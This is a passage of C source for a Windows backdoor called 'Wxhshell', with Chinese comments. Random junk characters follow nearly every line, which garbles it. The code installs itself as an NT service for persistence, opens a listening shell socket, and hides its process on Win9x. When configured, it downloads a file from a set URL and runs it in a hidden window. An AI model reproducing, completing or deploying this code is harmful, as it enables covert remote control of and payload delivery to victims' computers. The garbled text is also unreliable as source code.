PROCNTQSIP NtQueryInformationProcess; "C19b:4H
lfz2~Si5A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fb8g7H|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uv(Sdiir8
-Sx\Xi"<o=
HANDLE hProcess; gy0haW
PROCESS_BASIC_INFORMATION pbi; Vz)`nmO}5\
#Xb+`'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &<J[Q%2
if(NULL == hInst ) return 0; WIf0z#JMJm
%_L\z*+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /8g^T")
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i9A+gtd
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [[Fx[
pDcjwlA%
if (!NtQueryInformationProcess) return 0; 7cO n9fIE
U($dx.`v#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {(wHPzq
if(!hProcess) return 0; Nkl_Ho,
@$c\dvO
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W"'iIh)z
`
b e-~\ @
CloseHandle(hProcess); jvFTR'R)=
M:3h e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vIwCJN1C
if(hProcess==NULL) return 0; :1^R9yWA4
A"D,Kg
S
HMODULE hMod; ?)X,0P'
char procName[255]; )'%$V%9
unsigned long cbNeeded; [4C:r!
[uls8
"^/j
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;b(p=\i
,%Up0Rr,
CloseHandle(hProcess); &PK\|\\2
Q|L9gz[?
if(strstr(procName,"services")) return 1; // 以服务启动 :8+Ni d)
1/-43B
return 0; // 注册表启动 )ZqJh
} 9Z'8!$LYg
q51Uf_\/
// 主模块 p)3U7"q
int StartWxhshell(LPSTR lpCmdLine)
{=QiZWu
{ qt
2d\f
SOCKET wsl; S. q].a
BOOL val=TRUE; QC;^xG+W
int port=0; W.0L:3<"
struct sockaddr_in door; Z%Zd2
v
`Ru3L#@
if(wscfg.ws_autoins) Install(); nMvKTH
{0^&SI"5`E
port=atoi(lpCmdLine); ?Poq2
ehG/zVgn
if(port<=0) port=wscfg.ws_port; Ve!fU
!M]\I &
WSADATA data; sZm$|T0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i21Gw41p:
e `,ds~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F^LZeF[#t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FMkzrs
door.sin_family = AF_INET; c#]q^L\x
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5
Ho^N1q
door.sin_port = htons(port); hk;7:G
Zg`Mz
_?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S"k*6U
closesocket(wsl); 'hv k
return 1; e-*.Ca
} ^=SD9V
5-0{+R5v
if(listen(wsl,2) == INVALID_SOCKET) { jSuL5|Gui
closesocket(wsl); e|D;OM
return 1; mL`5 uf
} w{90`
Wxhshell(wsl); z7Eg5rm|QZ
WSACleanup(); !G}+E2fDA
6]pX>Xho
return 0; Y.U[wL>
T%n2$
}
D"ehWLj
Xy &uZ
// 以NT服务方式启动 V-r3-b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #\ n8M
{ 0#*#a13
DWORD status = 0; ]
0m&(9
DWORD specificError = 0xfffffff; 3lq Mucr
JA_BKA
serviceStatus.dwServiceType = SERVICE_WIN32; 4bJZmUb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Mz;[ +p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xOHgp=#D
serviceStatus.dwWin32ExitCode = 0; [mr9(m[F
serviceStatus.dwServiceSpecificExitCode = 0; j$Je6zq0x
serviceStatus.dwCheckPoint = 0; ,SiY;(b=\
serviceStatus.dwWaitHint = 0; U*P. :BvG
*(>}Y
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &gE 75B
if (hServiceStatusHandle==0) return; mA@Me7m}
P?]aWJ
status = GetLastError(); u@%r
if (status!=NO_ERROR) BEgV^\u
{ :C8$Xi_i}
serviceStatus.dwCurrentState = SERVICE_STOPPED; "y<?Q}1
serviceStatus.dwCheckPoint = 0; $Qy7G{XJ[^
serviceStatus.dwWaitHint = 0; T,OwM\`.X{
serviceStatus.dwWin32ExitCode = status; -tI'3oT1
serviceStatus.dwServiceSpecificExitCode = specificError; -}6xoF?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OOz[-j>'Y+
return; LJTQaItdqJ
} d{de6 `
)&<=.q
serviceStatus.dwCurrentState = SERVICE_RUNNING; e=QK}gzX
serviceStatus.dwCheckPoint = 0; uH;-z_Wpn!
serviceStatus.dwWaitHint = 0; D'hW|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D\YE^8/
} !GQ\"Ufs>
2JS`Wqy
// 处理NT服务事件,比如:启动、停止 Z0>DNmH*
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Ro^*4B
{ #vqo -y7@
switch(fdwControl) ([VV%ovZ
{ $VQtwuYt
case SERVICE_CONTROL_STOP: =FT98H2*|
serviceStatus.dwWin32ExitCode = 0; n7YEG-J
serviceStatus.dwCurrentState = SERVICE_STOPPED; {gaai
serviceStatus.dwCheckPoint = 0; ?[MsQQd~
serviceStatus.dwWaitHint = 0; tDCw-
{ `[YngYw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;eZ#b jw-d
} $eBX
return; `O8b1-1q~
case SERVICE_CONTROL_PAUSE: eVcANP
serviceStatus.dwCurrentState = SERVICE_PAUSED; AisN@
break; W Qc>
case SERVICE_CONTROL_CONTINUE: =60~UM
serviceStatus.dwCurrentState = SERVICE_RUNNING; q(5+xSg"gK
break; |J~eLh[d
case SERVICE_CONTROL_INTERROGATE: CCGV~e+
break; ACK1@eF
}; }V|{lvt.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ez9k4IO
} rqlc2m,<-p
^U8r0]9
// 标准应用程序主函数 Kw`VrcwjT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eb8w~
{ s$*'^:
h`}3h<
8
// 获取操作系统版本 <_./SC
OsIsNt=GetOsVer(); ;!T{%-tP
GetModuleFileName(NULL,ExeFile,MAX_PATH); uGl| pJ\y=
@E53JKYhY
// 从命令行安装 P~FUS%39"o
if(strpbrk(lpCmdLine,"iI")) Install(); 1Fi86
qJ_1*!!91
// 下载执行文件 Sm2>'C
if(wscfg.ws_downexe) { .6pOvGKb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OW(&s,|6x
WinExec(wscfg.ws_filenam,SW_HIDE); ,s^<X85gp\
} 6dEyv99
-)y%~Zn
if(!OsIsNt) { ib0g3p-Lc
// 如果时win9x,隐藏进程并且设置为注册表启动 #9LzY
HideProc(); {hO`6mr&t
StartWxhshell(lpCmdLine); t=#Pya
} \ U-vI:J_
else il:nXpM!
if(StartFromService()) (,xZGa
// 以服务方式启动 mty1p'^KQ
StartServiceCtrlDispatcher(DispatchTable); qUF1XJZ}z
else 0X(]7b&~R
// 普通方式启动 !z
zW2>
StartWxhshell(lpCmdLine); qYp$fmj
efuK
return 0; 8 )\M:s~7&
}